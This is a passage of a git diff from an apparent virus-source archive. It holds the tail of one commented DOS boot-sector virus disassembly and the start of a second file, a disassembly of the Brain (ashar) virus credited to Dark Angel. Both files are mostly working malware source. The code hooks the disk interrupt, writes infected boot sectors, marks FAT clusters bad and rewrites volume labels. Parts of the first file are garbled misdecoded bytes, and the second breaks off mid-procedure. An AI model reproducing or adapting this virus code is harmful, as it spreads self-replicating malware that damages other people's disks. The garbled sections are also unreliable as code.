AH,0 ;REST + INT 6DH ; + POP AX ; + JB L0653 ; + MOV BX,offset L06BEH ; + MOV AL,4 ;4==VERIFY + MOV DH,00 ;HEAD 0 + MOV DL,[0226] ;DRIVE DL + MOV CX,0002 ;TRACK 0/SECTOR 2 + PUSH AX ; + INT 6DH ; + POP AX ; + JNB L065C ;IF ERROR...EXIT +L0653: POP CX ; + LOOP L0636 ;RETRY + POP AX ; + POP AX ; + MOV AL,2 ;BAD ADDRESS MARK ??? + STC ;RETURN ERROR + RET ; + ; +L065C: POP CX ; + RET ; + ; +;-----------------------------------------------------------------------; +; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ???? ; +;-----------------------------------------------------------------------; +CONVERT_1: ;065E + PUSH CX ; + SUB CX,2 ; + SHL CX,1 ;WORD PTR + ADD CX,9*2 ; (SECTORS PER CYLINDER ???) + MOV AX,CX ; + MOV CL,9*2 ; (SECTORS PER CYLINDER ???) + DIV CL ; + MOV DS:[0008],AL ;AL = TRACK + MOV Byte Ptr DS:[0006],0 ;INC. HEAD + INC AH ;INC. SECTOR + CMP AH,9 ;IF TOO BIG... + JBE L0684 ; + SUB AH,9 ;...START AT ZERO + MOV Byte Ptr DS:[0006],1 ;INC. HEAD +L0684: MOV DS:[0007],AH ; + POP CX ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + ADD [BX+SI],AL ;068A 0000 + ADD [BX+SI],AL ;068C 0000 + ADD [BX+SI],AL ;068E 0000 + ADD BP,[SI+00] ;0690 036C00 + ADD AX,[BP+DI] ;0693 0303 + MOV SI,010E ;0695 BE0E01 + ADD [BX+SI],AL ;0698 0000 + ADD AX,SP ;069A 01E0 + FCOMP DWord Ptr [DI+E0D7] ;069C D89DD7E0 + LAHF ;06A0 9F + LEA BX,[BX+SI+8E9F] ;06A1 8D989F8E + LOOPNZ ;06C7 ;06A5 E020 + SUB [BP+DI+29],AH ;06A7 286329 + AND [BP+SI+72],AL ;06AA 204272 + POPA ;06AD 61 + IMUL BP,[BP+20],E824 ;06AE 696E2024E8 + FILD DWord Ptr [BX+SI] ;06B3 DB00 + JB L06C1 ;06B5 720A + PUSH DI ;06B7 57 + CALL ;06DA ;06B8 E81F00 + POP DI ;06BB 5F + JB L06C1 ;06BC 7203 + CALL WRITE_RBF ;WRITE ROOT BOOT FAT +L06C1: RET ;06C1 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + MOV BX,049B ;06C2 BB9B04 + MOV CX,000B ; +L06C8: MOV AL,[BX] ; + NEG AL ; + MOV [SI],AL ; + INC SI ; + INC BX ; + LOOP L06C8 ; + ; + MOV AL,08 ; + MOV [SI],AL ; + CLC ; + RET ;06D7 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + MOV Byte Ptr [06C7],91 ;06D8 C606C70691 + ADD AL,6C ;06DD 046C + ADD [BP+06FE],BH ;06DF 00BEFE06 + MOV [0493],DX ;06E3 89169304 + MOV AX,[0491] ;06E7 A19104 + SHR AX,1 ;06EA D1E8 + MOV [0497],AX ;06EC A39704 + SHR AX,1 ;06EF D1E8 + MOV [0495],AX ;06F1 A39504 + XCHG AX,CX ;06F4 91 + AND CL,43 ;06F5 80E143 + MOV DI,[0495] ;06F8 8B3E9504 + ADD DI,01E3 ;06FC 81C7E301 + MOV AL,[SI] ;0700 8A04 + CMP AL,00 ;0702 3C00 + JZ ;071B ;0704 7415 + MOV AL,[SI+0B] ;0706 8A440B + AND AL,08 ;0709 2408 + CMP AL,08 ;070B 3C08 + JZ ;071B ;070D 740C + ADD SI,+20 ;070F 83C620 + DEC Word Ptr [0491] ;0712 FF0E9104 + JNZ ;0700 ;0716 75E8 + STC ;0718 F9 + RET ;0719 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +: ;071A + MOV CX,[BP+DI+331D] ; + PUSH DS ;071E 1E + XCHG AX,DI ;071F 97 + ADD AL,89 ;0720 0489 + XCHG AX,DI ;0722 3697 + ADD AL,FA ;0724 04FA + MOV AX,SS ;0726 8CD0 + MOV SS:[0493],AX ;0728 A39304 + MOV [0495],SP ;072B 89269504 + MOV AX,CS ;072F 8CC8 + MOV SS,AX ;0731 8ED0 + MOV SP,[0497] ;0733 8B269704 + ADD SP,+0C ;0737 83C40C + MOV CL,51 ;073A B151 + ADD DX,444C ;073C 81C24C44 + MOV DI,2555 ;0740 BF5525 + MOV CX,0C03 ;0743 B9030C + REPZ ;0746 F3 + CMPSW ;0747 A7 + MOV AX,0B46 ;0748 B8460B + MOV CX,0003 ;074B B90300 + ROL AX,CL ;074E D3C0 + MOV [0497],AX ;0750 A39704 + MOV CX,0005 ;0753 B90500 + MOV DX,0008 ;0756 BA0800 + SUB Word Ptr [0497],5210 ;0759 812E97041052 + PUSH [0497] ;075F FF369704 +L0763: MOV AH,[BX] ;0763 8A27 + INC BX ;0765 43 + MOV DL,AH ;0766 8AD4 + SHL DL,1 ;0768 D0E2 + JB L0763 ;076A 72F7 +L076C: MOV DL,[BX] ;076C 8A17 + INC BX ;076E 43 + MOV AL,DL ;076F 8AC2 + SHL DL,1 ;0771 D0E2 + JB L076C ;0773 72F7 + ADD AX,1D1D ;0775 051D1D + PUSH AX ;0778 50 + INC Word Ptr [0497] ;0779 FF069704 + JNB L0780 ;077D 7301 + JMP 268B:E1E2 ;077F EAE2E18B26 + ; + XCHG AX,BP ;0784 95 + ADD AL,A1 ;0785 04A1 + XCHG AX,BX ;0787 93 + ADD AL,8E ;0788 048E + SAR BL,1 ;078A D0FB + ADD DH,[BP+SI] ;078C 0232 + CLC ;078E F8 + RET ;078F C3 + ; +;-----------------------------------------------------------------------; +; READ ROOT, BOOT, FIRST FAT ; +;-----------------------------------------------------------------------; +READ_RBF: ;0790 + MOV Byte Ptr [0490],02 ;COMMAND = READ + JMP ROOT_BOOT_FAT ;DO IT + ; +;-----------------------------------------------------------------------; +; WRITE ROOT, BOOT, FIRST FAT ; +;-----------------------------------------------------------------------; +WRITE_RBF: ;0798 + MOV Byte Ptr [0490],03 ;COMMAND = WRITE + JMP ROOT_BOOT_FAT ;DO IT + ; +;-----------------------------------------------------------------------; +; READ OR WRITE ROOT, BOOT, FIRST FAT ; +;-----------------------------------------------------------------------; +ROOT_BOOT_FAT: ;07A0 + MOV DH,0 ;HEAD = 0 + MOV DL,[226H] ;DL = DRIVE + MOV CX,6 ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR + MOV AH,[490H] ;AH = COMMAND + MOV AL,4 ;4 SECTORS + MOV BX,6BEH ;ES:BX = DTA + CALL RESET_DO_IT ;GO TO DISK + JB L07C9 ;IF ERROR...EXIT + ; + MOV CX,1 ;(TRACK 0/SECTOR 1) == BOOT & FAT1 + MOV DH,1 ;HEAD 1 + MOV AH,[490H] ;AH = COMMAND + MOV AL,3 ;3 SECTORS + ADD BX,800H ;ES:BX = DTA + CALL RESET_DO_IT ;GO TO DISK +L07C9: RET ; + ; +;-----------------------------------------------------------------------; +; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION ; +;-----------------------------------------------------------------------; +RESET_DO_IT: ;07CA + MOV [0493],AX ; + MOV [0495],BX ;SAVE REGs + MOV [0497],CX ; + MOV [0499],DX ; + MOV CX,0004 ;RETRY COUNT = 4 + ; +RDI_10: PUSH CX ; + MOV AH,00 ;REST DRIVE + INT 6D ; + JB RDI_80 ;IF ERROR...RETRY + MOV AX,[0493] ;RESTORE REGs + MOV BX,[0495] ; + MOV CX,[0497] ; + MOV DX,[0499] ; + INT 6D ;DO SPECIFIED FUNCTION + JNB RDI_90 ;IF NO ERROR...EXIT +RDI_80: POP CX ; + LOOP RDI_10 ;RETRY + STC ;RETURN ERROR + RET ; + ; +RDI_90: POP CX ;RETURN NO ERROR + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + ADD [BX+SI],AL ;07FD 0000 + ADD [BP+DI],AL ;07FF 0003 + ADD [BX+DI],AL ;0801 0001 + +L0804: ?!?! + + + + + ADD BP,AX ;0803 03E8 + DEC CX ;0805 49 + STD ;0806 FD + JB ;085D ;0807 7254 + ; + MOV Word Ptr [000A],0001 ; + MOV Byte Ptr [0009],00 ; + MOV BX,06BE ;ES:BX = DTA ? + CALL READ_SECTORS ; + ; + MOV BX,06BE ;BX = DTA + MOV AX,[0007] ;GET SECTOR TRACK + MOV [000A],AX ;SAVE SECTOR/TRACK + MOV AH,[0006] ;GET HEAD + MOV [0009],AH ;SAVE HEAD + CALL WRITE_SECTORS ;WRITE SECTOR(S) + CALL NEXT_SECTOR ;POINT TO NEXT + ; + MOV CX,0005 ;CX = ??? + MOV BX,0200 ;BX = DTA +L0837: MOV [0600],CX ;SAVE ??? + CALL WRITE_SECTORS ;WRITE SECTOR(S) + CALL NEXT_SECTOR ;POINT TO NEXT + ADD BX,512 ;DTA += 512 + MOV CX,[0600] ;??? + LOOP L0837 ;LOOP 5 TIMES ??? + ; + MOV Byte Ptr [0009],00 ;HEAD = 0 + MOV Word Ptr [000A],0001 ;TRACK/SECTOR = 0/1 + MOV BX,0000 ;DTA = INFECTED BOOT SECTOR + CALL WRITE_SECTORS ;WRITE INFECTED BOOT SECTOR + CLC ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +READ_SECTORS: ;085E + MOV Word Ptr [0602H],0201H ;READ CMD/1 SECTOR + JMP DO_SECTORS ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +WRITE_SECTORS: ;0867 + MOV Word Ptr [0602H],0301H ;WRITE CMD/1 SECTOR + JMP DO_SECTORS ; + ; +;-----------------------------------------------------------------------; +; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4 ; +; ; +; ON ENTRY: DS:[601H] = COMMAND ; +; DS:[602H] = SECTOR COUNT ; +; DS:[226H] = DRIVE ; +; DS:[0009] = HEAD ; +; DS:[000A] = SECTOR ; +; DS:[000B] = TRACK ; +;-----------------------------------------------------------------------; +DO_SECTORS: ;0870 + PUSH BX ; + MOV CX,4 ;RETRY COUNT = 4 + ; +D1S_10: PUSH CX ; + MOV DH,[9] ;HEAD = 9 + MOV DL,[226H] ;DRIVE + MOV CX,[10] ;TRACK/SECT + MOV AX,[602H] ;COMMAND/COUNT + INT 6DH ;(SAME AS INT 13) + JNB D1S_80 ; + ; + MOV AH,00 ;RESET + INT 6DH ;(SAME AS INT 13) + POP CX ; + LOOP D1S_10 ;TRY AGAIN + POP BX ; + POP BX ; + STC ;RETURN ERROR + RET ; + ; +D1S_80: POP CX ;0893 59 + POP BX ;0894 5B + RET ;0895 C3 + ; +;-----------------------------------------------------------------------; +; INC. NEXT SECTOR ; +; ON ENTRY: DS:[0009] = HEAD ; +; DS:[000A] = SECTOR ; +; DS:[000B] = TRACK ; +;-----------------------------------------------------------------------; +NEXT_SECTOR: ;0896 + INC Byte Ptr [10] ;SECTOR + CMP Byte Ptr [10],10 ; + JNZ NS_90 ; + MOV Byte Ptr [10],1 ; + INC Byte Ptr [9] ;HEAD + CMP Byte Ptr [9],2 ; + JNZ NS_90 ; + MOV Byte Ptr [9],0 ; + INC Byte Ptr [11] ;TRACK +NS_90: RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + DB 64 ;08BB 'dtk' + JZ ;091F ; + ; +;---------------------------------------; + JMP CONTINUE_4 ;08FA + ; + DB 'IBM X3.2' ;OEM NAME AND VERSION + ; + DW 512 ;BYTES PER SECTOR + DB 2 ;SECTORS PER ALLOCATION UNIT + DW 1 ;RESERVED SECTORS + DB 2 ;NUMBER OF FATS + DW 112 ;NUMBER OF ROOT DIR ENTRIES + DW 2D0H ;SECTORS PER DISK + DB 0FDH ;MEDIA ID + DW 2 ;SECTORS PER FAT + DW 9 ;SECTORS PER TRACK + DW 2 ;NUMBER OF HEADS + DW 0 ;HIDDEN SECTORS + ; +;---------------------------------------; + DB 0,0 + DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0 + + DB 002H,0DFH + DB 002H,025H,002H,012H + DB 02AH,0FFH,050H,0F6H + DB 000H,002H, + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + INT 19H ;REBOOT + ; +L08FA: CLI ;08FA FA + XOR AX,AX ;08FB 33C0 + MOV ES,AX ;08FD 8EC0 + MOV SS,AX ;08FF 8ED0 + MOV SP,7C00 ;0901 BC007C + MOV DS,AX ;0904 8ED8 + MOV BX,07C0 ;0906 BBC007 + MOV Word Ptr [0078],002F ;0909 C70678002F00 + MOV [007A],BX ;090F 891E7A00 + MOV DS,BX ;0913 8EDB + MOV DX,[001E] ;0915 8B161E00 + MOV [0020],DL ;0919 88162000 + INT 13 ;GO TO DISK + JNB ;0924 ;091F 7303 + JMP ;09FC ;0921 E9D800 + MOV SI,000B ;0924 BE0B00 + MOV CX,[SI] ;0927 8B0C + SHR CH,1 ;0929 D0ED + XCHG CH,CL ;092B 86E9 + MOV [002B],CX ;092D 890E2B00 + MOV AL,[SI+05] ;0931 8A4405 + XOR AH,AH ;0934 32E4 + MUL Word Ptr [SI+0B] ;0936 F7640B + ADD AX,[SI+03] ;0939 034403 + ADD AX,[SI+11] ;093C 034411 + MOV [0024],AX ;093F A32400 + MOV BX,7E00 ;0942 BB007E + CALL 0A24 ;0945 E8DC00 + MOV BX,ES ;0948 8CC3 + MOV AX,0070 ;094A B87000 + MOV ES,AX ;094D 8EC0 + MOV AX,0020 ;094F B82000 + MUL Word Ptr [SI+06] ;0952 F76406 + MOV CX,[SI] ;0955 8B0C + ADD AX,CX ;0957 03C1 + DEC AX ;0959 48 + DIV CX ;095A F7F1 + ADD [0024],AX ;095C 01062400 + MOV CL,[002A] ;0960 8A0E2A00 + MOV AX,[0024] ;0964 A12400 + CALL ;0971 ;0967 E80700 + PUSH ES ;096A 06 + POP DS ;096B 1F + JMP 0070:0000 ;096C EA00007000 + ; +;HEAVY NUMBER CRUNCHING HERE ; + PUSH BX ;0971 53 + PUSH AX ;0972 50 + MOV AL,CL ;0973 8AC1 + MUL Byte Ptr [002B] ;0975 F6262B00 + MOV [0029],AL ;0979 A22900 + POP AX ;097C 58 + MUL Word Ptr [002B] ;097D F7262B00 + DIV Word Ptr [SI+0D] ;0981 F7740D + INC DL ;0984 FEC2 + MOV [0028],DL ;0986 88162800 + PUSH DX ;098A 52 + XOR DX,DX ;098B 33D2 + DIV Word Ptr [SI+0F] ;098D F7740F + MOV [0021],DL ;0990 88162100 + MOV [0026],AX ;0994 A32600 + POP DX ;0997 5A + MOV CL,[0029] ;0998 8A0E2900 + ADD DL,CL ;099C 02D1 + MOV AX,[SI+0D] ;099E 8B440D + INC AX ;09A1 40 + CMP DL,AL ;09A2 3AD0 + JBE ;09AC ;09A4 7606 + SUB AL,[0028] ;09A6 2A062800 + MOV CL,AL ;09AA 8AC8 + MOV AL,CL ;09AC 8AC1 + MOV DX,[0026] ;09AE 8B162600 + MOV CL,06 ;09B2 B106 + SHL DH,CL ;09B4 D2E6 + OR DH,[0028] ;09B6 0A362800 + MOV CX,DX ;09BA 8BCA + XCHG CH,CL ;09BC 86E9 + MOV DX,[0020] ;09BE 8B162000 + MOV AH,02 ;READ SECTOR + PUSH AX ; + INT 13 ; + POP AX ;09C7 58 + JB ;09FC ;09C8 7232 + SUB [0029],AL ;09CA 28062900 + JBE ;09F5 ;09CE 7625 + CBW ;09D0 98 + MUL Word Ptr [002D] ;09D1 F7262D00 + ADD BX,AX ;09D5 03D8 + INC Byte Ptr [0021] ;09D7 FE062100 + MOV DL,[0021] ;09DB 8A162100 + CMP DL,[SI+0F] ;09DF 3A540F + MOV DL,01 ;09E2 B201 + MOV [0028],DL ;09E4 88162800 + JB ;0998 ;09E8 72AE + MOV Byte Ptr [0021],00 ;09EA C606210000 + INC Word Ptr [0026] ;09EF FF062600 + JMP ;0998 ;09F3 EBA3 + POP BX ;09F5 5B + RET ;09F6 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + MOV SI,01B3 ;09F7 BEB301 + JMP ;09FF ;09FA EB03 + MOV SI,01C5 ;09FC BEC501 + CALL L0A15 ;09FF E81300 + MOV SI,01D4 ;0A02 BED401 + CALL L0A15 ;0A05 E80D00 + MOV AH,00 ;0A08 B400 + INT 16 ;0A0A CD16 + MOV AH,01 ;0A0C B401 + INT 16 ;0A0E CD16 + JNZ 0A0C ;0A10 75FA + JMP ;08F8 ;0A12 E9E3FE + ; +L0A15: LODSB ;L0A15 + OR AL,AL ;0A16 0AC0 + JZ 0A23 ;0A18 7409 + MOV AH,0E ;0A1A B40E + MOV BX,0007 ;0A1C BB0700 + INT 10 ;0A1F CD10 + JMP L0A15 ;0A21 EBF2 + RET ;0A23 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + + MOV CL,01 ;0A24 B101 + CALL ;0971 ;0A26 E848FF + PUSH SI ;0A29 56 + MOV DI,BX ;0A2A 8BFB + MOV AX,ES:[BX+1C] ;0A2C 268B471C + XOR DX,DX ;0A30 33D2 + DIV Word Ptr [SI] ;0A32 F734 + INC AL ;0A34 FEC0 + MOV [002A],AL ;0A36 A22A00 + MOV SI,019D ;0A39 BE9D01 + MOV CX,000B ;0A3C B90B00 + REPZ ;0A3F F3 + CMPSB ;0A40 A6 + JNZ ;09F7 ;0A41 75B4 + MOV AX,ES:[BX+3A] ;0A43 268B473A + MOV [0022],AX ;0A47 A32200 + MOV DI,BX ;0A4A 8BFB + ADD DI,+20 ;0A4C 83C720 + MOV SI,01A8 ;0A4F BEA801 + MOV CX,000B ;0A52 B90B00 + REPZ ;0A55 F3 + CMPSB ;0A56 A6 + JNZ ;09F7 ;0A57 759E + POP SI ;0A59 5E + RET ;0A5A C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CODE ENDS ; + END ; diff --git a/MSDOS/Virus.MSDOS.Unknown.pakki.asm b/MSDOS/Virus.MSDOS.Unknown.pakki.asm new file mode 100644 index 00000000..3904c1f3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pakki.asm @@ -0,0 +1,686 @@ + +; This is the ashar variant of the classic Pakistani Brain virus. It is large +; by today's standards, although it was one of the first. It is a floppy only +; boot sector infector. + +brain segment byte public + assume cs:brain, ds:brain +; Disassembly done by Dark Angel of PHALCON/SKISM + org 0 + + cli + jmp entervirus +idbytes db 34h, 12h +firsthead db 0 +firstsector dw 2707h +curhead db 0 +cursector dw 1 + db 0, 0, 0, 0 + db 'Welcome to the Dungeon ' +copyright db '(c) 1986 Brain' + db 17h + db '& Amjads (pvt) Ltd VIRUS_SHOE ' + db ' RECORD v9.0 Dedicated to th' + db 'e dynamic memories of millions o' + db 'f virus who are no longer with u' + db 's today - Thanks GOODNESS!! ' + db ' BEWARE OF THE er..VIRUS : \th' + db 'is program is catching prog' + db 'ram follows after these messeges' + db '..... $' + db '#@%$' + db '@!! ' +entervirus: + mov ax,cs + mov ds,ax ; ds = 0 + mov ss,ax ; set stack to after + mov sp,0F000h ; virus + sti + mov al,ds:[7C00h+offset firsthead] + mov ds:[7C00h+offset curhead],al + mov cx,ds:[7C00h+offset firstsector] + mov ds:[7C00h+offset cursector],cx + call calcnext + mov cx,5 ; read five sectors + mov bx,7C00h+200h ; after end of virus + +loadnext: + call readdisk + call calcnext + add bx,200h + loop loadnext + + mov ax,word ptr ds:[413h] ; Base memory size in Kb + sub ax,7 ; - 7 Kb + mov word ptr ds:[413h],ax ; Insert as new value + mov cl,6 + shl ax,cl ; Convert to paragraphs + mov es,ax + mov si,7C00h ; Copy from virus start + mov di,0 ; to start of memory + mov cx,1004h ; Copy 1004h bytes + cld + rep movsb + push es + mov ax,200h + push ax + retf ; return to old boot sector + +readdisk: + push cx + push bx + mov cx,4 ; Try 4 times + +tryread: + push cx + mov dh,ds:[7C00h+offset curhead] + mov dl,0 ; Read sector from default + mov cx,ds:[7C00h+offset cursector] + mov ax,201h ; Disk to memory at es:bx + int 13h + jnc readOK + mov ah,0 ; Reset disk + int 13h ; (force read track 0) + pop cx + loop tryread + + int 18h ; ROM basic on failure +readOK: + pop cx + pop bx + pop cx + retn + +calcnext: + mov al,byte ptr ds:[7C00h+offset cursector] + inc al + mov byte ptr ds:[7C00h+offset cursector],al + cmp al,0Ah + jne donecalc + mov byte ptr ds:[7C00h+offset cursector],1 + mov al,ds:[7C00h+offset curhead] + inc al + mov ds:[7C00h+offset curhead],al + cmp al,2 + jne donecalc + mov byte ptr ds:[7C00h+offset curhead],0 + inc byte ptr ds:[7C00h+offset cursector+1] +donecalc: + retn + +; the following is a collection of garbage bytes + db 00h, 00h, 00h, 00h, 32h,0E3h + db 23h, 4Dh, 59h,0F4h,0A1h, 82h + db 0BCh,0C3h, 12h, 00h, 7Eh, 12h + db 0CDh, 21h,0A2h, 3Ch, 5Fh +a_data dw 050Ch +; Second part of the virus begins here + jmp short entersecondpart + db '(c) 1986 Brain & Amjads (pvt) Ltd ',0 +readcounter db 4 ; keep track of # reads +curdrive db 0 +int13flag db 0 + +entersecondpart: + mov cs:readcounter,1Fh + xor ax,ax + mov ds,ax ; ds -> interrupt table + mov ax,ds:[13h*4] + mov ds:[6Dh*4],ax + mov ax,ds:[13h*4+2] + mov ds:[6Dh*4+2],ax + mov ax,offset int13 ; 276h + mov ds:[13h*4],ax + mov ax,cs + mov ds:[13h*4+2],ax + mov cx,4 ; 4 tries + xor ax,ax + mov es,ax ; es -> interrupt table + +tryreadbootsector: + push cx + mov dh,cs:firsthead + mov dl,0 + mov cx,cs:firstsector + mov ax,201h ; read from default disk + mov bx,7C00h + int 6Dh ; int 13h + jnc readbootOK + mov ah,0 + int 6Dh ; int 13h + pop cx + loop tryreadbootsector + + int 18h ; ROM basic on failure +readbootOK: ; return control to + ; original boot sector +;* jmp far ptr 0000:7C00h + db 0EAh, 00h, 7Ch, 00h, 00h + nop ; MASM NOP!!! +int13: + sti + cmp ah,2 ; if not read request, + jne doint13 ; do not go further + cmp dl,2 ; if after second floppy, + ja doint13 ; do not go further + cmp ch,0 ; if not reading boot sector, + jne regularread ; go handle as usual + cmp dh,0 ; if boot sector, + je readboot ; do I<-/>/\|> stuff +regularread: + dec cs:readcounter ; Infect after 4 reads + jnz doint13 ; If counter still OK, don't + ; do anything else + jmp short readboot ; Otherwise, try to infect +doint13: + jmp exitint13h +readboot: +; FINISH THIS! + mov cs:int13flag,0 ; clear flag + mov cs:readcounter,4 ; reset counter + push ax + push bx + push cx + push dx + mov cs:curdrive,dl + mov cx,4 + +tryreadbootblock: + push cx + mov ah,0 ; Reset disk + int 6Dh + jc errorreadingbootblock ; Try again + mov dh,0 + mov cx,1 + mov bx,offset readbuffer ; buffer @ 6BEh + push es + mov ax,cs + mov es,ax + mov ax,201h + int 6Dh ; Read boot sector + pop es + jnc continuestuff ; continue if no error +errorreadingbootblock: + pop cx + loop tryreadbootblock + + jmp short resetdisk ; too many failures + nop +continuestuff: + pop cx ; get system id in boot block + mov ax,word ptr cs:[offset readbuffer+4] + cmp ax,1234h ; already infected? + jne dodisk ; if not, infect it + mov cs:int13flag,1 ; flag prev. infection + jmp short noreset +dodisk: + push ds + push es + mov ax,cs + mov ds,ax + mov es,ax + push si + call writevirus ; infect the disk + jc failme ; exit on failure + mov cs:int13flag,2 ; flag success + call changeroot ; manipulate volume label +failme: + pop si + pop es + pop ds + jnc noreset ; don't reset on success +resetdisk: + mov ah,0 ; reset disk + int 6Dh ; int 13h +noreset: + pop dx + pop cx + pop bx + pop ax + cmp cx,1 + jne exitint13h + cmp dh,0 + jne exitint13h + cmp cs:int13flag,1 ; already infected? + jne wasntinfected ; if wasn't, go elsewhere + mov cx,word ptr cs:[offset readbuffer+7] + mov dx,word ptr cs:[offset readbuffer+5] + mov dl,cs:curdrive ; otherwise, read real + jmp short exitint13h ; boot sector +wasntinfected: + cmp cs:int13flag,2 ; successful infection? + jne exitint13h ; if not, just do call + mov cx,cs:firstsector + mov dh,cs:firsthead +exitint13h: + int 6Dh ; int 13h + retf 2 + db 15 dup (0) + +FATManip: ; returns al as error code + jmp short delvedeeper + nop +FATManipreadcounter dw 3 + db ' (c) 1986 Brain & Amjads (pvt) Ltd' +delvedeeper: + call readFAT ; Get FAT ID byte + mov ax,word ptr ds:[offset readbuffer] + cmp ax,0FFFDh ; is it 360K disk? + je is360Kdisk ; continue if so + mov al,3 ; al=3 == not good disk + stc ; flag error + retn ; and exit +is360Kdisk: + mov cx,37h + mov FATManipreadcounter,0 ; none found yet +checknextsector: + call FATentry12bit ; get entry in FAT + cmp ax,0 ; unused? + jne notunused + inc FATManipreadcounter ; one more found unused + cmp FATManipreadcounter,3 ; If need more, + jne tryanother ; go there + jmp short markembad ; found 3 consecutive + nop ; empty sectors +notunused: + mov FATManipreadcounter,0 ; must start over +tryanother: + inc cx ; try next sector + cmp cx,163h ; end of disk? + jne checknextsector ; if not, continue + mov al,1 ; al=1 == none empty + stc ; Indicate error + retn +markembad: + mov dl,3 ; 3 times +markanotherbad: + call markbad12bit + dec cx + dec dl + jnz markanotherbad + inc cx + call calc1sttrack + call writeFAT ; update FAT + mov al,0 ; al=0 == ok + clc ; indicate success + retn + +markbad12bit: + push cx + push dx + mov si,offset readbuffer ; si -> buffer + mov al,cl + shr al,1 + jc low_12 ; low bits + call clus2offset12bit + mov ax,[bx+si] ; get FAT entry + and ax,0F000h ; mark it bad + or ax,0FF7h + jmp short putitback ; and put it back + nop +low_12: + call clus2offset12bit + mov ax,[bx+si] ; get FAT entry + and ax,0Fh ; mark it bad + or ax,0FF70h +putitback: + mov [bx+si],ax ; replace FAT entry + mov word ptr ds:[400h][bx+si],ax ; in two places + pop dx + pop cx + retn + +FATentry12bit: + push cx + mov si,offset readbuffer ; si->buffer + mov al,cl + shr al,1 +; Part 3 of the virus starts here + jc want_high_12 + call clus2offset12bit + mov ax,[bx+si] + and ax,0FFFh + jmp short exitFATentry12bit + nop +want_high_12: + call clus2offset12bit ; xxxxxxxxxxxx0000 + mov ax,[bx+si] ; ^^^^^^^^^^^^wanted + and ax,0FFF0h ; mask wanted bits + mov cl,4 ; and move to correct + shr ax,cl ; position +exitFATentry12bit: + pop cx + retn + +clus2offset12bit: + push dx + mov ax,3 + mul cx + shr ax,1 ; ax = cx*1.5 + mov bx,ax + pop dx + retn + +readFAT: + mov ah,2 ; read + call FAT_IO + retn + +writeFAT: + mov ah,3 ; write + call FAT_IO + retn + +FAT_IO: + mov cx,4 ; try four times +FAT_IOLoop: + push cx + push ax + mov ah,0 ; reset disk + int 6Dh ; int 13h + pop ax + jc tryFAT_IOagain + mov bx,offset readbuffer + mov al,4 ; 4 sectors + mov dh,0 ; head 0 + mov dl,curdrive + mov cx,2 ; sector 2 + push ax ; (FAT) + int 6Dh ; int 13h + pop ax + jnc exitFAT_IO +tryFAT_IOagain: + pop cx + loop FAT_IOLoop + + pop ax + pop ax + mov al,2 + stc ; mark error + retn +exitFAT_IO: + pop cx + retn + +calc1sttrack: + push cx + sub cx,2 + shl cx,1 ; 2 sectors/cluster + add cx,0Ch ; start of data area + mov ax,cx ; ax = sector + mov cl,12h ; 4096 + div cl ; ax/4096 = al rem ah + mov byte ptr firstsector+1,al + mov firsthead,0 + inc ah + cmp ah,9 ; past track 9? + jbe notpasttrack9 ; nope, we are ok + sub ah,9 ; otherwise, adjust + mov firsthead,1 +notpasttrack9: + mov byte ptr firstsector,ah + pop cx + retn + + db 0, 0, 0, 0, 0, 0 +r_or_w_root db 3 +entrycount dw 35h + +tempsave1 dw 303h +tempsave2 dw 0EBEh +tempsave3 dw 1 +tempsave4 dw 100h + db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh + db 8Dh, 98h, 9Fh, 8Eh,0E0h + db ' (c) ashar $' +changeroot: + call readroot ; read in root directory + jc donotchangeroot + push di + call changevolume ; change volume label + pop di + jc donotchangeroot + call writeroot ; write back new root dir +donotchangeroot: + retn +; The following is just garbage bytes + db 0BBh, 9Bh, 04h,0B9h, 0Bh + db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h + db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h + db 0C6h, 06h + +changevolume: + mov entrycount,6Ch + mov si,offset readbuffer+40h; 3nd dir entry + mov tempsave1,dx + mov ax,entrycount ; 6Ch + shr ax,1 + mov tempsave3,ax ; 36h + shr ax,1 + mov tempsave2,ax ; 1Bh + xchg ax,cx + and cl,43h ; cx = 3 + mov di,tempsave2 + add di,1E3h ; di = 01FE +findlabel: + mov al,[si] + cmp al,0 + je dolabel ; no mo entries + mov al,[si+0Bh] ; attribute byte + and al,8 ; volume label? + cmp al,8 ; yes? + je dolabel ; then change it! + add si,20h ; go to next directory entry + dec entrycount + jnz findlabel ; loop back + stc ; Error! + retn + db 8Bh +dolabel: + mov bx,[di] ; offset a_data + xor bx,tempsave3 ; bx = 53Ah + mov tempsave3,si ; si->direntry + cli + mov ax,ss + mov tempsave1,ax + mov tempsave2,sp + mov ax,cs + mov ss,ax + mov sp,tempsave3 + add sp,0Ch ;->reserved area + mov cl,51h + add dx,444Ch + mov di,2555h + mov cx,0C03h + repe cmpsw + mov ax,0B46h + mov cx,3 + rol ax,cl ; ax = 5A30h + mov tempsave3,ax + mov cx,5 + mov dx,8 + sub tempsave3,5210h ; 820h + push tempsave3 ; store attributes/reserved +; I haven't commented the remainder of this procedure. +; It basically changes the volume label to read "(c) Brain" + +; Comment mode OFF + +dowhatever: + mov ah,[bx] ; 5a3h + inc bx + mov dl,ah + shl dl,1 + jc dowhatever +searchstuff: + mov dl,[bx] ; dl=C2h + inc bx ; bx=53Eh + mov al,dl + 